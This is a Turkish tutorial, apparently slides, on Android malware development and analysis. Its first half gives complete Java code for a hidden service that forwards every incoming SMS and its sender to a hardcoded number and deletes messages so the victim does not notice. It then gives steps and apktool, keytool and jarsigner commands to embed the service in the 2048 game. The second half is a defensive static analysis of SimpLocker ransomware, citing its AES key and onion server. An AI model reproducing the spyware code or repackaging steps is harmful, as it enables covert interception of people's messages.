[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
	
İlgili	uygulamadaki	MucoService.java	dosyası	şu	şekildedir:	
	
package	com.example.m3o.bga_sms;	
	
import	android.app.Service;	
import	android.content.BroadcastReceiver;	
import	android.content.Context;	
import	android.content.Intent;	
import	android.content.IntentFilter;	
import	android.database.Cursor;	
import	android.net.Uri;	
import	android.os.Bundle;	
import	android.os.IBinder;	
import	android.telephony.SmsManager;	
import	android.telephony.SmsMessage;	
	
public	class	MucoService	extends	Service	{	
			public	MucoService()	{	
			}	
	
			private	static	final	String	ACTION="android.provider.Telephony.SMS_RECEIVED";	
			private	BroadcastReceiver	rreceiver;	
			final	SmsManager	sms	=	SmsManager.getDefault();	
			final	SmsManager	sms2	=	SmsManager.getDefault();	
	
			@Override
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
			public	void	onCreate()	{	
							super.onCreate();	
							final	IntentFilter	theFilter	=	new	IntentFilter();	
							theFilter.addAction(ACTION);	
							this.rreceiver	=	new	BroadcastReceiver()	{	
	
											@Override	
											public	void	onReceive(Context	context,	Intent	intent)	{	
															final	Bundle	bundle	=	intent.getExtras();	
															final	Object[]	pdusObj	=	(Object[])	bundle.get("pdus");	
	
															for	(int	i	=	0;	i	<	pdusObj.length;	i++)	{	
	
																			SmsMessage	mesaj	=	SmsMessage.createFromPdu((byte[])	pdusObj[i]);	
																			String	gonderenTelefon	=	mesaj.getDisplayOriginatingAddress();	
	
																			String	calinanMesaj	=	gonderenTelefon.concat("	:	");	
																			calinanMesaj	+=	mesaj.getDisplayMessageBody();	
	
																			sms2.sendTextMessage("+90538515XXXX",	null,	calinanMesaj,	null,	null);	
	
																			Uri	deleteUri	=	Uri.parse("content://sms");	
																			int	count	=	0;	
																			Cursor	c	=	context.getContentResolver().query(deleteUri,	null,	null,	
																											null,	null);	
																			while	(c.moveToNext())	{	
																							try	{	
																											//	Delete	the	SMS	
																											String	pid	=	c.getString(0);	//	Get	id;	
																											String	uri	=	"content://sms/"	+	pid;	
																											count	=	context.getContentResolver().delete(Uri.parse(uri),	
																																			null,	null);	
																							}	catch	(Exception	e)	{	
																							}	
																			}	
															}	
											}	
							};	
	
							this.registerReceiver(this.rreceiver,	theFilter);	
			}	
	
			@Override	
			public	void	onDestroy()	{	
							super.onDestroy();	
							this.unregisterReceiver(this.rreceiver);	
			}
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
			@Override	
			public	IBinder	onBind(Intent	arg0)	{	
							return	null;	
			}	
}	
	
	
Yukarıda	verilen	Java	kodunu	açıklayacak	olursak;	
	
- Öncelikli	olarak	APP	COMPONENST	başlığı	altında	bahsedilmiş	olan	receiver	yapısından	bir	
receiver	tanımlanmıştır.	Böylelikle	broadcast	yayınlardan	uygulamanın	haberi	olacaktır.	
	
- Daha	 sonra	 uygulamanın	 bulunduğu	 telefona	 gelen	 mesajın	 kimden	 geldiğini	
“gönderenTelefon”	adlı	stringe	kaydetmektedir.	
	
	 	
	
- 	“gönderenTelefon”	stringi	içerisindeki	veriyi		“calınanMesaj”	adlı	stringe	concat	metodu	ile	
yazmaktadır.	
	
	 	
	
- “getDisplayMessageBody()”	metodu	ile	mesaj	içeriği	alınmakta	ve	bu	gelen	mesajın	kimden	
geldiği	bilgisinin	yanına	eklenmektedir.	
	
	 	
	
- Bu	bilgilerin	gönderileceği	telefon	numarası	belirlenerek	ilgili	işlem	yapılmaktadır.	
	
	 	
	
- Kullanıcının	durumun	farkına	varmaması	için	gönderilmiş	olan	mesajlar	silinmektedir.	Ancak	
bu	 kısım	 Android	 4	 öncesi	 cihazlar	 için	 geçerlidir.	 Bu	 izne	 uygulamalar	 varsayılan	 SMS	
uygulaması	olmadığı	sürece	artık	sahip	değildir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
- Son	olarak	kodun	başına	kullanılan	telefonun	izni	eklenmektedir.	
	
	 	
	
Uygulamanın	kod	geliştirme	kısmı	sona	erdikten	sonra	“Manifest”	dosyasına	ilgili	izinler	ve	kullanılan	
service	ve	ilgili	activity	sonrası	çalıştırılacak	olan	2048	uygulamasının	MainActivity	kısmı	gibi	bilgiler	
yazılmaktadır.	
	
İlgili	uygulamadaki	Manifest	dosyası	ise	şu	şekildedir:	
	
	
	
Artık	zararlı	uygulamanın	kendi	başına	çalışıp	çalışmadığı	test	edilebilir.	“Run”	butonuna	tıklanılarak	
direk	cihaz	üzerinde	başlatılabileceği	gibi	“Build-	Build	Apk”	seçeneği	ile	apk	dosyası	oluşturularak	da	
kullanılabilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Şekildeki	gibi	oluşturulan	uygulama	bulunduğu	cihazda	çalıştırılır	ve	arka	plana	atılır.	Uygulamanın	
bulunduğu	cihaza	2	adet	mesaj	gönderilir	ve	gelen	kutusunda	mesajlar	gözlemlenir.		
	
Zararlının	bulunduğu	telefondaki	gelen	kutusuna	ait	ekran	görüntüsü	aşağıdaki	gibidir.	
	
		
										
Uygulamanın	 bulunduğu	 telefona	 bu	 mesajlar	 gelirken	 aynı	 zamanda	 uygulamanın	 bulunduğu	
telefonun	 giden	 kutusunda	 zararlı	 yazılımın	 gönderdiği	 mesaj	 gözlemlenir.	 Zararlının	 bulunduğu	
telefondaki	giden	kutusuna	ait	ekran	görüntüsü	ise	aşağıdaki	gibidir.	
	
	
	
Kod	 içerisinde	 zararlı	 yazılımın	 mesaj	 gönderdiği	 telefonda	 ise	 zararlı	 uygulamanın	 bulunduğu	
telefona	gelen	mesajın	kimden	geldiği	ve	hangi	içeriğe	sahip	olduğu	bilgisi	bulunmaktadır.	
	
Zararlının	mesaj	gönderdiği	telefona	ait	ekran	görüntüsü	aşağıda	verilmiştir.	
	
	
	
Zararlı	 uygulamamız	 gerçek	 bir	 cihazda	 çalışmakta	 ve	 başarılı	 bir	 şekilde	 gelen	 mesajların	 ne	
olduğunu	ve	mesajı	kimin	gönderdiği	bilgisini	kod	içerisinde	belirlediğimiz	telefona	göndermektedir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Uygulamayı	gerçek	bir	cihazda	test	etme	fırsatı	bulamayanlar	için	Android	Emulatör	kullanarak	nasıl	
test	edileceği	şu	şekilde	özetlenir:	
	
- ~/Android/Sdk/tools	 	 dizini	 altında	 “./emulator	 -avd	 BGAEmulator”	 komutu	 ile	 Android	
Emulatör	başlatılır.	
	
- Oluşturulan	apk	dosyası	sürükle	bırak	ile	ya	da	adb	kullanılarak	cihaza	yüklenir.	
	
- Çalıştırılan	uygulama	şekildeki	gibi	arka	plana	alınır.	
	
	
	
	
- Sıradaki	 işlem	 emulatörde	 mesaj	 yollama	 işlemidir.	 Bunun	 için	 terminal	 ekranından	 telnet	
bağlantısı	gerçekleştirilmelidir.	
	 	
telnet	localhost	5554	
	
- auth	token	değerini	oluşturmak	için	aşağıdaki	parametre	girilmelidir.		
	 	
auth	auth_token	
	
- “home”	 dizininde	 oluşmuş	 olan	 token	 parametresini	“cat	 .emulator_console_auth_token”	
paremetresi	ile	alınır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	 	
		
- Daha	sonra	telnet	ekranına	auth	paremetresi		“auth	CATEDİLMİŞDEGER”		şeklinde	girilir.	
	
- Son	olarak	göndermek	istenilen	mesaj	“sms	send	gönderennumarası	mesaj”		şeklinde	girilir.	
	
Sanal	 android	 cihaz	 kontrol	 edildiğinde	 gelen	 mesajı	 gelen	 kutusunda	 “gelen	 mesaj	 numarası”	 ve	
“mesaj	içeriği	bilgisii	giden	kutusunda	kod	içerisinde	yazılan	numaraya	gitmiş	şekilde	görülecektir.	
Uygulamaları	Birleştirme	
	
Oluşturulan		zararlı	uygulamayı	taşıyıcı	olarak	2048	uygulamasıyla	birleştirme	aşaması	şu	adımlarla	
gerçekleştirilir.;	
	
- apktool	 programı	 kullanılarak	 oluşturulmuş	 olan	 zararlı	 yazılımın	 apk	 dosyası	 decompiler	
edilir.	
	 	
	 	
	
	
- “/app-debug/smali/com/example/m3o/”		dizini	altındaki	bga_sms	adındaki	smali	dosyaları	
alınarak	taşıyıcı	uygulamanın	smali	dizinine	eklenir.	
	
	 	
- Son	 olarak	 2048	 adındaki	 taşıyıcı	 uygulamanın	 manifest	 dosyası	 düzenlenerek	 başlangıç	
activitysini	 2048	 uygulamasının	 main	 activitysinden	 zararlı	 uygulamanın	 activitysi	 haline
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
getirilir.		Ayrıca	SMS	mesajları	için	gerekli	olan	izinler	verilir	ve	zararlı	uygulamada	kullanılan	
service	bilgisi	eklenir.	
	
	 	
	
	
		
- Taşıyıcı	uygulama	olan	2048	uygulaması	Apktool	aracı	kullanılarak	tekrar	derlenir.	
	
	 	
	
- Oluşturulan	yeni.apk	adındaki	apk	dosyası	imzalanır.	
	
İmza	oluşturmak	için;	
	
keytool	-genkey	-v	-keystore	my-release-key.keystore	-alias	alias_name	-keyalg	RSA	-keysize	2048	-
validity	10000	
	
komutu	kullanılabilirken	daha	önceden	oluşturulmuş	imza	ile	uygulamayı	imzalamak	için;		
	
jarsigner	-verbose	-sigalg	SHA1withRSA	-digestalg	SHA1	-keystore	my-release-key.keystore	
yeni.apk	alias_name	
	
komutu	kullanılmaktadır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Emulatöre	atılan	cihazın	çalışıp	çalışmadığı	ve	üzerinde	sahip	olduğu	izinler	kontrol	edilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Gerçek	 Hayattan	 Zararlı	 Yazılım	 Analizi	 Uygulama	
Örnekleri	
Bu	 bölümde	 etkisini	 gerçek	 dünyada	 büyük	 çapta	 gösteren	 SimpLocker	 Ransomware(Fidye)	
yazılımından	bahsedeceğiz.	
	
SimpLocker	
	
İlk	 olarak	 fd694cf5ca1dd4967ad6e8c67241114c	 hash	 değerine	 sahip	 olan	 Simplocker	 -	 Android	
Ransomware-fd694cf5ca1dd4967ad6e8c67241114c.apk	 isimli	 dosyanın	 genymotion	 emulatorüne	
yüklenip	yüklenmediği,	böylelikle	gerçek	bir	uygulama	olup	olmadığı	kontrol	edilir.	
	
ARM	code	parçasına	sahip	olan	apk	dosyası	yüklenmeye	çalışıldığında	şekildeki	gibi	bir	hata	mesajı	ile	
karşılaşılmaktadır.	
	
	
	
Bu	sorunu	çözmek	için;	
	
● https://dl.dropboxusercontent.com/content_link/chOR6azzI6bTYVX3ieaLnnAEdkn8O4OnFW
Sjhv7UOAgQ56Fwjqm3aNalYGVP73Mv/file?dl=1	
	
adresinden	ya	da	internetten;		
	
● genymotion-arm-translation_v1.1.zip	download
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
arama	 anahtarıyla	 internet	 üzerinden	 herhangi	 bir	 yerden	 indirilebilen	 zip	 dosyası	 sürükle	 bırak	
yapılarak	Genymotiona	aktarılır.	
	
Gelen	seçenek	onaylanarak	ARM	translation	tool	Genymotion	Emulatorüne	aktarılır.	Genymotion’ın	
yeniden	başlatılması	ile	uygulamamız	sürükle	bırak	yapılarak	tekrar	cihaza	yüklenir.	
	
	
	
Yukarıda	verilen	ekran	görüntüsüne	sahip	olan	uygulama	çalıştırılır.	Karşımıza	aşağıdaki	gibi	bi	ekran	
çıkmaktadır.	
	
	
	
Artık	uygulamayı	kapatmaya	çalışsak	dahi	kapanmayarak,	arka	plana	atıldıktan	birkaç	saniye	sonra	
tekrar	ekrana	çıkmaktadır.	
	
Simplocker	 uygulaması	 2014	 yılında	 ortaya	 çıkan,	 kullanıcının	 SD	 karttaki	 verilerini	 şifreleyerek	
orjinallerini	 silen	 ve	 bunun	 üzerine	 kullanıcıdan	 para	 isteyen	 “ransomware”	 adı	 verilen	 bir	 zararlı	
yazılım	türüdür.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
Peki	neden	cihazın	tamamı	değil	de	sadece	SD	kart	sorusuna	gelirsek,	“neden	telefon	üzerinde	root	
olmamalıyız”	 konusunda	 bahsedilen	 bilgiler	 eşiğinde,	 SD	 kartın	 Root	 hakları	 olmadan	 herkes	
tarafından	okunan	ve	yazılan	bir	alan	iken,	telefon	hafızasının	herkes	tarafından	okunma	yetkisine	
sahip	 olmadığı,	 üzerinde	 çalışan	 uygulamaların	 sadece	 kendi	 alanlarına	 müdahale	 edebildiği	
hatırlanmalıdır.	
	
Ekrana	basılı	olan	mesajın	Türkçesi	şu	şekildedir:	
	
“UYARI	telefonunuz	kilitlenmiştir!	
	
	Bu	cihaz	***	izleme	ve	dağıtımının	yapılması,	hayvanlarla	***	ilişki	içerikleri		ve	bunun	gibi	diğer	
sapkınlıkların	yapılması	sebebiyle	kilitlenmiştir.	
	
Cihazınızın	kilidini	açmak	için	260	UAH	ödemelisiniz.	(Yaklaşık	30	Dolar/105	Türk	Lirasına	dek	geliyor)		
1-	En	yakın	ödeme	kulübesine	gidiniz.	
2-	MoneXy	seçeneğini	seçin.	
3-	{REDACTED}	tuşuna	basın	
4-	260	Hryvnia	parasını	yazın	ve	ödeme	tuşuna	basın.	
	
Fiş	almayı	unutmayın!	
	
Ödeme	sonunda	cihazınız	24	saat	içinde	açılacaktır.	
	
EĞER	ÖDEME	YAPMAZSANIZ	CİHAZ	ÜZERİNDEKİ	BÜTÜN	VERİLERİNİZ	KAYBOLUR!”	
Simplocker	Statik	Analiz	
	
Bu	aşamada	uygulamanın	statik	yani	çalışır	durumda	olmadığı	durumdaki	analizi	yapılmaya	başlanır.	
Uygulama	hakkında	fikir	sahibi	olmak	ve	obfuscated	bir	koda	sahip	değilse	kodun	analizini	yaparak	
apk	hakkında	bilgi	sahibi	olmak	bu	aşamadaki	asıl	amaçtır.	
	
İlk	 olarak	 zararlı	 analizi	 yapan	 kişilerden	 bile	 öte	 her	 bilgisayar	 kullanıcısının	 	 uygulamalarının	
güvenilirliğini	test	ettiği	“VirusTotal”	adlı	siteye	apk	dosyasının	gerçek	bir	zararlı	yazılım	mı	değil	mi	
düşüncesinin	 önüne	 geçmek	 için	 	 yüklenir.	 Upload	 and	 scan	 file	 butonuna	 tıklanılarak	 uygulama	
seçilir	ve		analiz	edilmesi	için	siteye	gönderilir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
61	antivirüs	programı	içerisinde	41	tanesinin	bu	apk	dosyasını	virüs	olarak	tanımladığı	gözlemlenir	ve	
gerçek	bir	zararlı	yazılım	üzerinde	analiz	yaptığımız	sonucuna	ulaşılır.	
	
	
	
Androguard	 programı	 kullanılarak	 	 “Manifest”	 dosyasındaki	 uygulamanın	 kullanmak	 istediği	 izinler	
listelenir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Manifest	dosyasını	daha	ayrıntılı	incelemek	için	Androguard	programı		içerisinde	yer	alan	androaxml	
programı	ile	manifest	dosyası	çıkartılır.	
	
	
	
Çıkartılan	output.xml	dosyası	metin	editörü	kullanılarak	açılır.	
	
	
	
	
	
Şimdi	Manifest	dosyası	içerisinde	yer	alan,			“Tersine	Mühendislik	Teknikleri	İle	Mevcut	Uygulama	
İçerisine	Zararlı	Kod	Ekleme”		konu	başlığında	da	üzerinde	çokça	durulan	bu	manifest	dosyasındaki	bu	
yazıları	yorumlayalım.	
	
Zararlı	kodun	main	activity	kısmının	oluşturulduğu		ve	ekrana	hata	mesajının	bastırıldığı	kısım	olabilir.	
Bir	 önceki	 konumuz	 olan	 zararlı	 yazılım	 geliştirme	 aşamasında	 view	 oluşturmadan	 sadece	 arka
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
planda	 çalışacak	 bir	 servis	 yazarak	 tamamladığımız	 bu	 kısım	 bu	 yazılımda	 ekrana	 bir	 hata	 mesajı	
basan	bir	view	ve	arka	planda	çalışan	servisleri	başlatan	yapı	olarak	dikkat	çekmektedir.	
	
	
	
Telefon	boot	edildiğinde,	yani	yeniden	başlatıldığında	başlayacak	olan	bir	servisi	tanımlar.	Servisin	
arka	 planda	 çalışan	 bir	 app	 component	 olduğunu	 hatırlanmalıdır.	 Cihazı	 kapat	 aç	 yaptıktan	 sonra	
uygulamanın	çalışarak	“Cihazınız	Kilitlendi”	metnini	ekrana	basmasını	sağlayan	yapı	olabilir.	
	
	
	
SDCardServiceStarter	 	 isminden	 de	 yorumlayabileceğimiz	 gibi	 SD	 kart	 üzerinde	 yapılan	 işlemlerin	
tanımlı	olduğu		arka	planda	çalışan	bir	servis	olma		ihtimali	çok	yüksektir.	Büyük	ihtimal	arka	planda	
SD	karttaki	dosyaların	encrypt(şifreleme)	işlemlerinin	yapıldığı	kısmın	tanımlandığı	servis	yapısıdır.	
	
	
	
Son	olarak	“.MainService”	adında	çağrılan	bir	servis	dikkatimizi	çekmektedir.	Servis	olduğu	için	arka	
planda	çalışan	bu	yapı	“org.torproject.android.service.TorService”	isminde		Tor	servisi	çağırmaktadır.	
MainService	 isminden	 dolayı	 önemli	 görevi	 bulunduğu	 düşündüğümüz	 bu	 servis	 Tor	 yapısı	 ile	
anonymous	yani		kişinin	bilinmezliğini	sağlamaktadır.	Şifrelenmiş	uygulamaların	açılmasını	sağlamak	
için	 uzaktan	 kurulacak	 iletişimi	 sağlayan	 yapı	 olma	 ihtimali	 Tor	 yapısından	 dolayı	 kuvvetle	
muhtemeldir.	 Ama	 tahminden	 öte	 değildir.	 Belkide	 böyle	 bir	 yapı	 yoktur	 ve	 ödeme	 yapsanız	 dahi		
şifrelenmiş	dosyalarınız	açılmayacaktır.	Manifest	dosyasından	yorumlayamayacak	bu	yapı	statik	kod	
analizi	yaparak	derinden	incelenecektir.		
	
	
	
	
Androguard	ile	paket	ismi,	aktivity	isimleri,	uygulama		adı	gibi	bilgilere	bakılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
Daha	 sonra	 uygulama	 içerisindeki	 string	 değerleri	 “d.get_strings()”	 	 komutu	 ile	 incelenerek	 statik	
analizin	bir	sonraki	kısmı	olan	statik	kod	analizine	geçilir.	
	
dex2jar	dizini	altında;	
	
./d2j-dex2jar.sh	Simplocker	-	Android	Ransomware-fd694cf5ca1dd4967ad6e8c67241114c.apk	
		
komutu	ile	dex	kodları	java	jar	binary	dosyalarına	çevrilir.	
	
	
	
Oluşturulan	 jar	 dosyası	 java	 kodlarına	 decompiler	 edilmesi	 için	 JD-GUI	 programına	 sürükle	 bırak	
yapılır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Class	 yapıları	 şekildeki	 gibi	 gözlemlenir.	 İlk	 olarak	 dikkat	 edilecek	 nokta	 obfuscation	 	 kullanılıp	
kullanılmadığıdır.	 Obfuscation	 konusunda	 öğrenildiği	 üzere	 R.class	 yapısının	 burada	 yer	 alması	 ve	
anlamlı	 class	 isimleri	 barındırması	 sayesinde	 uygulamada	 obfuscation	 kullanılmadığı	
gözlemlenmektedir.		Bu	durum	analiz	yapmamızı	ve	kodu	yorumlamamızı	kolaylaştıracaktır.	
	
İlk	olarak	main.class’ımız	incelenir.	Main.class	dosyasının	görünüşü	şu	şekildedir.	
	
	
	
Zararlı	yazılım	geliştirme	uygulamamızda	yapıldığı	gibi	“Oncreate”	metodu	içerisinde	bir	adet	servis	
çağrılmıştır.	 Yapılan	 uygulamadan	 farklı	 olarak	 	 bu	 uygulamada	 	 bir	 adet	 view,	 	 setContentView	
metodu	ile	tanımlanmıştır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
MainServiceStart	 adında	 bir	 adet	 intent	 	 ve	 Mainservice	 adında	 bir	 adet	 servis	 tanımlayarak	
startService	metodu	ile	servisi	başlatmaktadır.	
	
	
	
Bu	kısımda	ise	uygulama	geri	tuşuna	basılarak		kapatılsa	dahi	“true”	dönerek	hata	mesajının	tekrar	
ekrana	basılmasına	neden	olan	kısımdır.	
	
	
Sırada	incelenecek	olan	class	MainService.class’ıdır.	
		
Mainservice.class	 servis	 classı	 içerisinde	 StartService	 metodu	 ile	 TOR_SERVICE	 başlatıldığı	
gözlemlenmektedir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Biraz	 daha	 aşağıya	 inildiğinde	 FilesEncryptor	 classından	 encrypt	 	 metodunun	 çağrıldığı	
gözlemlenmektedir.	
	
	
SDCardServiceStarter.class	 ı	 incelendiğinde	 	 MainService	 çalıştığı	 durumda	 	 çalıştırılan	 bir	 servis	
olduğu	gözlemlenir.	
	
	
	
	Şimdiye	kadar	incelediğimiz	kısmı	özet	geçmemiz	gerekirse;	
	
- Main.class’ı	ekrana	bir	uyarı	mesajı	basıyor	ve	MainService	oluşturuyor.	
	
- MainService.class	 servis	 class’ı	 TorServisi	 ve	 FilesEncryptor	 classını	 	 encrypt	 metodu	 ile	
çağırıyor.	
	
- SDCardServiceStarter.class’ı	 MainServise	 çalıştıktan	 sonra	 isRunning	 True	 döndüğü	 sürece	
çalışan	diğer	servisimiz	oluyor.	
	
Sırada	FilesEncryptor	classı	analiz	edilecektir.	Aşağıda	verilen	kodda	cihaza	bağlı	mount	edilmiş	bir	SD	
kart	olup	olmadığı	bilgisine	bakılmaktadır.	
	
	
	
GetFileNames	 metodu	 ile	 SD	 kart	 içerisindeki	 dosya	 isimleri	 alınmaktadır	 ve	 bir	 array(dizi)	 yapısı	
içerisinde	tutulmaktadır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
	
	
		
Son	olarak	encrypt	metodu	incelenecektir.	Eğer	mount	edilmiş	bir	SD	kart	varsa	AesCrypt	classından	
“jndlasf074hr”	anahtarı	ile	bir	obje	oluşturarak	dosyaları	şifrelemektedir.	Son	olarak	“.enc”	uzantısı	
ile	dosya	isimlerini	değiştirmektedir.	
	
	
	
	
Son	kısmı	özetlemek	gerekirse		FilesEncryptor	class’ı	SD	kart	olup	olmadığına	bakıyor	ve	varsa	dosya	
isimlerini	 bir	 diziye	 atarak	 listeliyor.	 AesCrypt	 class’ı	 içerisindeki	 encrypt	 metodunu	 “jndlasf074hr”	
anahtarıyla	çağırarak	dosyaları	şifreliyor	ve	son	olarak	uzantılarının	sonuna	“.enc”	ekliyor.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Sıradaki	 işlemde	 TorSender.class’ı	 incelenecektir.	 Proxy	 oluşturmak	 için	 tanımlanacak	 localhost	 ve	
çıkış	yapılacak	port	numarası	belirlenmiştir.	
	
		
	
Telefona	ait	IMEI	numarası	Utils	classı	içerisindeki	getOutIMEI	metodu	ile	alınmaktadır.	
	
	
	
IMEI,	OS,	phone	model	ve	manufacture	bilgilerinin	TorSender	class’ına	nasıl	alındığını	incelemek	için	
Utils.class	dosyası	incelenir.	
	
GetIMEI	 ve	 getModel	 metodları	 kullanılarak	 telefona	 ait	 	 bilgilerin	 string	 içerisine	 alındığı	
gözlemlenir.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Son	 kısmı	 özetlemek	 gerekirse	 TorSender.class’ı	 içerisinde	 Utils.class’ı	 	 içerisindeki	 fonksiyonun	
çağrıldığı	 gözlemlenmiştir.	 Utils.class’ı	 içerisinde	 ise	 telefona	 ait	 bilgilerin	 tespit	 edilip	 string	
değerinde	tutulduğu	fonksiyonların	bulunduğu	gözlemlenir.	
	
İncelenecek	bir	sonraki	class	yapımız	ise	HTTPSender	classıdır.	Sunucu	ile	iletişimin	yapıldığı	bu	class	
incelenir.	Şekil	üzerinde	proxy	detayları	gözlemlenmektedir.	
	
	
	
Şekil	 üzerinde	 onion	 uzantılı	 “http://xeyocsu7fu2vjhxs.onion/”	 	 	 URL	 adresine	 	 bağlantı	 kurulduğu	
gözlemlenmektedir.		
	
	
	
Class	 içerisinde	 incelenecek	 olan	 son	 yapı	 olan	 kısımda	 ise	 eğer	 server	 tarafından	 stop	 	 komutu	
gelirse	FilesEncryptor	içerisindeki	decrypt	metodunu	çağırmaktadır.
[ANDROID ZARARLI YAZILIM ANALİZİ ve GÜVENLİK YAKLAŞIMLARI]
Daha	 önce	 bahsedilmemiş	 olan	 FilesEncryptor	 classı	 içerisindeki	 decrypt	 metodu	 şu	 şekilde	
gözükmektedir.	
	
	
	
Encrypt	 yaparken	 kullanılan	 “jndlasf074hr”	 anahtarı	 ile	 aynı	 anahtarı	 kullanarak	 decrypt	
yapmaktadır.	 AES	 simetrik	 bir	 şifreleme	 algoritması	 olduğu	 için	 encrypt	 yaparken	 de	 decrypt	
yaparken	de	aynı	anahtarı	kullanmaktadır.	
	
İncelenecek	olan	son	class	Constants.class	adlı	constant	değerleri	tutan	classdır.	
	
	
	
ADMIN_URL,	 CIPHER_PASSWORD	 gibi	 string	 değerlerini	 tutan	 constant	 dosyası	 encrypt	 yapılacak	
dosya	formatlarını	da	EXTENSIONS_TO_ECRYPT	adlı	array	içerisinde	“jpeg,	jpg,	png,	gif,	pdf,	doc	vb”	
gibi	göstermektedir.	
	
Uygulamanın	statik	analizi	tamamlanmış	ve	kodun	işleyişi	hakkında	bilgiler	edinilmiştir.	Yorumlanmış	
olan	uygulamanın	işleyişi	öngörüldüğü	gibi	dinamik	analiz	esnasında	incelenecektir.	
	
Simplocker	Dinamik	Analiz	
	
Genymotion	 üzerinde	 çalıştırılmış	 olan	 uygulamadan	 başarılı	 bir	 şekilde	 çıkış	 yapılıp	 yapılmadığı	
gözlemlenir.
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları
Android Zararlı Yazılım Analizi ve Güvenlik Yaklaşımları

Mais conteúdo relacionado

Mais procurados

Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 7, 8, 9BGA Cyber Security
 
Zararlı Yazılım Analizi ve Tespitinde YARA Kullanımı
Zararlı Yazılım Analizi ve Tespitinde YARA KullanımıZararlı Yazılım Analizi ve Tespitinde YARA Kullanımı
Zararlı Yazılım Analizi ve Tespitinde YARA KullanımıBGA Cyber Security
 
3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?3. parti firma risklerinden nasıl korunulur?
3. parti firma risklerinden nasıl korunulur?BGA Cyber Security
 
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...Windows Sistemler için Sysmon ve Wazuh Kullanarak  Mitre ATT&CK Kurallarının ...
Windows Sistemler için Sysmon ve Wazuh Kullanarak Mitre ATT&CK Kurallarının ...BGA Cyber Security
 
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12
Beyaz Şapkalı Hacker CEH Eğitimi - Bölüm 10, 11, 12BGA Cyber Security
 
Web Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriWeb Servislerine Yönelik Sızma Testleri
Web Servislerine Yönelik Sızma TestleriBGA Cyber Security
 
Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Web Uygulama Güvenliği 101
Web Uygulama Güvenliği 101Mehmet Ince
 
Zararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı HazırlamakZararlı Yazılım Analizi İçin Lab Ortamı Hazırlamak
Zararlı Yazılım Analizi İçin Lab Ortamı HazırlamakBGA Cyber Security
 
İleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab Kitabıİleri Seviye Ağ Güvenliği Lab Kitabı
İleri Seviye Ağ Güvenliği Lab KitabıBGA Cyber Security
 
Open Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIOpen Source Soc Araçları Eğitimi 2020-II
Open Source Soc Araçları Eğitimi 2020-IIBGA Cyber Security
 
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıWebinar: SOC Ekipleri için MITRE ATT&CK Kullanım Senaryoları
Webinar: SOC Ekipleri için MITRE ATT&CK Kullanım SenaryolarıBGA Cyber Security
 
Caldera İle Saldırı Simülasyonu
